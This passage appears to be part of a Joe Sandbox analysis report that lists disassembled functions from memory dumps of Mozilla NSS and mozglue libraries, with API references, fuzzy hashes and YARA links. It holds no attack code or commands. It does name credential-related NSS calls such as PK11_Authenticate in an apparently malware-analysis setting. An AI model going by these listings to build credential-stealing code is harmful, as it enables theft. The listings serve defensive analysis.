Instruction Fuzzy Hash: 52A15B70A01755CFDB28CF69C994A9AFBF1BF48304F44866ED44A97B00E770A995CF90

Function 6CA814A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA814C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA814E2
GetCurrentThreadId.KERNEL32 ref: 6CA81546
InitializeConditionVariable.KERNEL32(?), ref: 6CA815BA
free.MOZGLUE(?), ref: 6CA816B4

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 445db9d3faad5af931d6b41828a8365574317dadcaa1376cc3b02bfd98c32ad4
Instruction ID: 3c7f2e7c1e796da0f1c3a44bda52d17c7feb447b82479d53e997bbc5d48bc40a
Opcode Fuzzy Hash: 445db9d3faad5af931d6b41828a8365574317dadcaa1376cc3b02bfd98c32ad4
Instruction Fuzzy Hash: 6B610476A017059FDB258F20D980BEEB7B0BF89308F04851CED9A57711EB31E989CB91

Function 6CBACCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBAC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CBADAE2,?), ref: 6CBAC6C2

PR_Now.NSS3 ref: 6CBACD35

Part of subcall function 6CC09DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CC50A27), ref: 6CC09DC6
Part of subcall function 6CC09DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CC50A27), ref: 6CC09DD1
Part of subcall function 6CC09DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC09DED

Part of subcall function 6CB96C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CB41C6F,00000000,00000004,?,?), ref: 6CB96C3F

PR_GetCurrentThread.NSS3 ref: 6CBACD54

Part of subcall function 6CC09BF0: TlsGetValue.KERNEL32(?,?,?,6CC50A75), ref: 6CC09C07

Part of subcall function 6CB97260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CB41CCC,00000000,00000000,?,?), ref: 6CB9729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBACD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CBACE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CBACE2C

Part of subcall function 6CBA10C0: TlsGetValue.KERNEL32(?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA10F3
Part of subcall function 6CBA10C0: EnterCriticalSection.KERNEL32(?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA110C
Part of subcall function 6CBA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA1141
Part of subcall function 6CBA10C0: PR_Unlock.NSS3(?,?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA1182
Part of subcall function 6CBA10C0: TlsGetValue.KERNEL32(?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CBACE40

Part of subcall function 6CBA14C0: TlsGetValue.KERNEL32 ref: 6CBA14E0
Part of subcall function 6CBA14C0: EnterCriticalSection.KERNEL32 ref: 6CBA14F5
Part of subcall function 6CBA14C0: PR_Unlock.NSS3 ref: 6CBA150D

Part of subcall function 6CBACEE0: PORT_ArenaMark_Util.NSS3(?,6CBACD93,?), ref: 6CBACEEE
Part of subcall function 6CBACEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CBACD93,?), ref: 6CBACEFC
Part of subcall function 6CBACEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CBACD93,?), ref: 6CBACF0B
Part of subcall function 6CBACEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CBACD93,?), ref: 6CBACF1D

Part of subcall function 6CBACEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CBACD93,?), ref: 6CBACF47
Part of subcall function 6CBACEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CBACD93,?), ref: 6CBACF67
Part of subcall function 6CBACEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CBACD93,?,?,?,?,?,?,?,?,?,?,?,6CBACD93,?), ref: 6CBACF78

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 82db63e0a50fd1194cbc814d50dd0b0f57fe91e526ca04153848c97abd574d13
Instruction ID: 86de6c6f7b8e6ce546f33f81d6f60d76fc85683c080e089b2b4a1c278ccf0dcb
Opcode Fuzzy Hash: 82db63e0a50fd1194cbc814d50dd0b0f57fe91e526ca04153848c97abd574d13
Instruction Fuzzy Hash: 1651B676A081509FEB10DFA9DC40BAA77F4EF48348F250524D99597B41EB32F906CB92

Function 6CB7EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CB7EF38

Part of subcall function 6CB69520: PK11_IsLoggedIn.NSS3(00000000,?,6CB9379E,?,00000001,?), ref: 6CB69542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CB7EF53

Part of subcall function 6CB84C20: TlsGetValue.KERNEL32 ref: 6CB84C4C
Part of subcall function 6CB84C20: EnterCriticalSection.KERNEL32(?), ref: 6CB84C60
Part of subcall function 6CB84C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CB84CA1
Part of subcall function 6CB84C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CB84CBE
Part of subcall function 6CB84C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CB84CD2
Part of subcall function 6CB84C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB84D3A

PR_GetCurrentThread.NSS3 ref: 6CB7EF9E

Part of subcall function 6CC09BF0: TlsGetValue.KERNEL32(?,?,?,6CC50A75), ref: 6CC09C07

free.MOZGLUE(00000000), ref: 6CB7EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB7F016
free.MOZGLUE(00000000), ref: 6CB7F022

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 95ebff898b7555e3b4a0281fa2b1d921b5163a53febe782a5d048acc09f9855c
Instruction ID: 1fbe928c43611deae2299f4b2cb049bff5d3cea2f8cad3e3d214afc9cdd69b7e
Opcode Fuzzy Hash: 95ebff898b7555e3b4a0281fa2b1d921b5163a53febe782a5d048acc09f9855c
Instruction Fuzzy Hash: E94191B1E0024AAFDF118FA9DC45BEE7BB9EF48358F004029F914A7750E772C9158BA5

Function 6CB52E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CB42D1A), ref: 6CB52E7E

Part of subcall function 6CBA07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CB48298,?,?,?,6CB3FCE5,?), ref: 6CBA07BF
Part of subcall function 6CBA07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CBA07E6
Part of subcall function 6CBA07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBA081B
Part of subcall function 6CBA07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBA0825

PR_Now.NSS3 ref: 6CB52EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CB52EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CB42D1A), ref: 6CB52F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CB42D1A), ref: 6CB52F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CB52F81

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 52d808c560a81e0e689b353a7fbe8c256e423f46b6f482af2b35e7712f4f3de0
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 3231C4716033C086FF10DE55FC88BBE7265EB81318FA44579D41A97AD0EB32986AC653

Function 6CA7DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA7DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CA7D38A,?), ref: 6CA7DC6F
free.MOZGLUE(?,?,?,?,?,6CA7D38A,?), ref: 6CA7DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CA7D38A,?), ref: 6CA7DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CA7D38A,?), ref: 6CA7DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CA7D38A,?), ref: 6CA7DD4A

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: f22a2f413dc5d2b8f570012191416ecf0dc413b875428e8e74cfbb8d814063c5
Instruction ID: 2d174a85d945fd67c072f39ed64bdac84a1208cccf5e410ae3c5fdfe2855c6da
Opcode Fuzzy Hash: f22a2f413dc5d2b8f570012191416ecf0dc413b875428e8e74cfbb8d814063c5
Instruction Fuzzy Hash: 72417CB9A00216CFCB10CFA9D98099ABBF5FF88304B554569D905A7B11D731FC44CBA0

Function 6CB40E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CB40A2C), ref: 6CB40E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CB40A2C), ref: 6CB40E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CB40A2C), ref: 6CB40E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CB40A2C), ref: 6CB40E90
free.MOZGLUE(00000000), ref: 6CB40EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CB40A2C), ref: 6CB40ED9

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 050a089b7c488ded18e6d9ee03537638178f0738fde4fc8fecfd6ae3d793091d
Instruction ID: b98d59fe76497ba044eea724dc35628379853973b47aad434d004fa6798cfec7
Opcode Fuzzy Hash: 050a089b7c488ded18e6d9ee03537638178f0738fde4fc8fecfd6ae3d793091d
Instruction Fuzzy Hash: 85214E72E882D597EB004976BC45F6B72AEDFE1648F098035D81C53A09EA61C835A293

Function 6CA66590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CA5FA80: GetCurrentThreadId.KERNEL32 ref: 6CA5FA8D
Part of subcall function 6CA5FA80: AcquireSRWLockExclusive.KERNEL32(6CAAF448), ref: 6CA5FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA66727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CA667C8

Part of subcall function 6CA74290: memcpy.VCRUNTIME140(?,?,6CA82003,6CA80AD9,?,6CA80AD9,00000000,?,6CA80AD9,?,00000004,?,6CA81A62,?,6CA82003,?), ref: 6CA742C4

Strings

data, xrefs: 6CA66593

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: a5d0e64917b288a8087b81253726c30d4d3a19e6b9fc0a6ec9fc3c781563928e
Instruction ID: 1beccdffa2a82c43a52f75887c06128f730168b6e9ce49b64f7c428f30ac99f7
Opcode Fuzzy Hash: a5d0e64917b288a8087b81253726c30d4d3a19e6b9fc0a6ec9fc3c781563928e
Instruction Fuzzy Hash: 38D1DE75A043408FD728CF29D951B9EB7E5BFC5308F14892DE589D7B90EB30A889CB52

Function 6CB4AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB4AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CB4AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB4AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CB4AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CC69500), ref: 6CB4AF23

Part of subcall function 6CB9F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CB9F0C8
Part of subcall function 6CB9F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB9F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB4AF37

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 68551f947ee2b69c4939be7b2fa2dadb6ddae65aca21261b1ddefb2164d8654f
Instruction ID: e0862bf6b82a427cb32a5f0407751efd6ea9683c047840bc8b4b71a11df57254
Opcode Fuzzy Hash: 68551f947ee2b69c4939be7b2fa2dadb6ddae65aca21261b1ddefb2164d8654f
Instruction Fuzzy Hash: E02128B190D240ABEB108F189C41B9A7BA4EF8576CF148329FC649B785E731D9058BA7

Function 6CBCEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBCEE85
realloc.MOZGLUE(44BF2249,?), ref: 6CBCEEAE
PORT_Alloc_Util.NSS3(?), ref: 6CBCEEC5

Part of subcall function 6CBA0BE0: malloc.MOZGLUE(6CB98D2D,?,00000000,?), ref: 6CBA0BF8
Part of subcall function 6CBA0BE0: TlsGetValue.KERNEL32(6CB98D2D,?,00000000,?), ref: 6CBA0C15

htonl.WSOCK32(?), ref: 6CBCEEE3
htonl.WSOCK32(00000000,?), ref: 6CBCEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CBCEF01

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 53ca209db3a8b4a45392d7e68c4faeaef9c6c15fa1324ef1676f4bc533c155db
Instruction ID: b8fc5586ec52f16a7c0c5b0cd1f79ab71397dba9359b15819d15b2be65471474
Opcode Fuzzy Hash: 53ca209db3a8b4a45392d7e68c4faeaef9c6c15fa1324ef1676f4bc533c155db
Instruction Fuzzy Hash: 0821BF71A00255DFDB109F28DC81A9AB7A4EF49398F148129EC199B642E730E914CBE7

Function 6CA5D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CA2EB57,?,?,?,?,?,?,?,?,?), ref: 6CA5D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CA2EB57,?), ref: 6CA5D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CA2EB57,?), ref: 6CA5D673
free.MOZGLUE(?), ref: 6CA5D888

Strings

|Enabled, xrefs: 6CA5D81E

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: a8f468273e2ce090e87a7a01864e5796f7959761204181a8ef5c63f2b81de886
Instruction ID: 6604e2ae8e3c01b1f1909b5b7df77d23eb86f75d1b5b812cf9a02154f993ea04
Opcode Fuzzy Hash: a8f468273e2ce090e87a7a01864e5796f7959761204181a8ef5c63f2b81de886
Instruction Fuzzy Hash: AEA1F2B0E003158FDB14CF69C9906EEBBF1AF49318F58C05CD899AB741D734A899CBA1

Function 6CB2AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB2AFDA

Strings

misuse, xrefs: 6CB2AFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB2AFC4
%s at line %d of [%.10s], xrefs: 6CB2AFD3
unable to delete/modify collation sequence due to active statements, xrefs: 6CB2AF5C

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: ab294ebf9306333b22878d631effd161ea3983f1bf6d6431ff60e1cf2595767d
Instruction ID: 2050a2f5e1665049ba5e377d4398e9fa4569092c2acc6a6d14fed853b18fe2c6
Opcode Fuzzy Hash: ab294ebf9306333b22878d631effd161ea3983f1bf6d6431ff60e1cf2595767d
Instruction Fuzzy Hash: 6F91E171A002958FDB14CF59C850ABAB7F1FF45314F1945A8E869AB791D738AC02CF61

Function 6CA5F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CA5F480

Part of subcall function 6CA2F100: LoadLibraryW.KERNEL32(shell32,?,6CA9D020), ref: 6CA2F122
Part of subcall function 6CA2F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA2F132

CloseHandle.KERNEL32(00000000), ref: 6CA5F555

Part of subcall function 6CA314B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CA31248,6CA31248,?), ref: 6CA314C9
Part of subcall function 6CA314B0: memcpy.VCRUNTIME140(?,6CA31248,00000000,?,6CA31248,?), ref: 6CA314EF

Part of subcall function 6CA2EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CA2EEE3

CreateFileW.KERNEL32 ref: 6CA5F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CA5F523

Strings

\oleacc.dll, xrefs: 6CA5F4CB

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 34c2795da267476ab310e4695a96b0ebadf7e012491608282ac05f5ffa3d375c
Instruction ID: 1bb2fce84d76db7ddc40f6a3c817f60a88d49c0282f3386f14b4aba5c637db58
Opcode Fuzzy Hash: 34c2795da267476ab310e4695a96b0ebadf7e012491608282ac05f5ffa3d375c
Instruction Fuzzy Hash: 3541CF706087119FE724DF69DD84B9AB3F4AF44318F908A1CF69183650EB30E999CB92

Function 6CA874A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CA87526
__Init_thread_footer.LIBCMT ref: 6CA87566
__Init_thread_footer.LIBCMT ref: 6CA87597

Strings

UnmapViewOfFile2, xrefs: 6CA87552
kernel32.dll, xrefs: 6CA87557

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
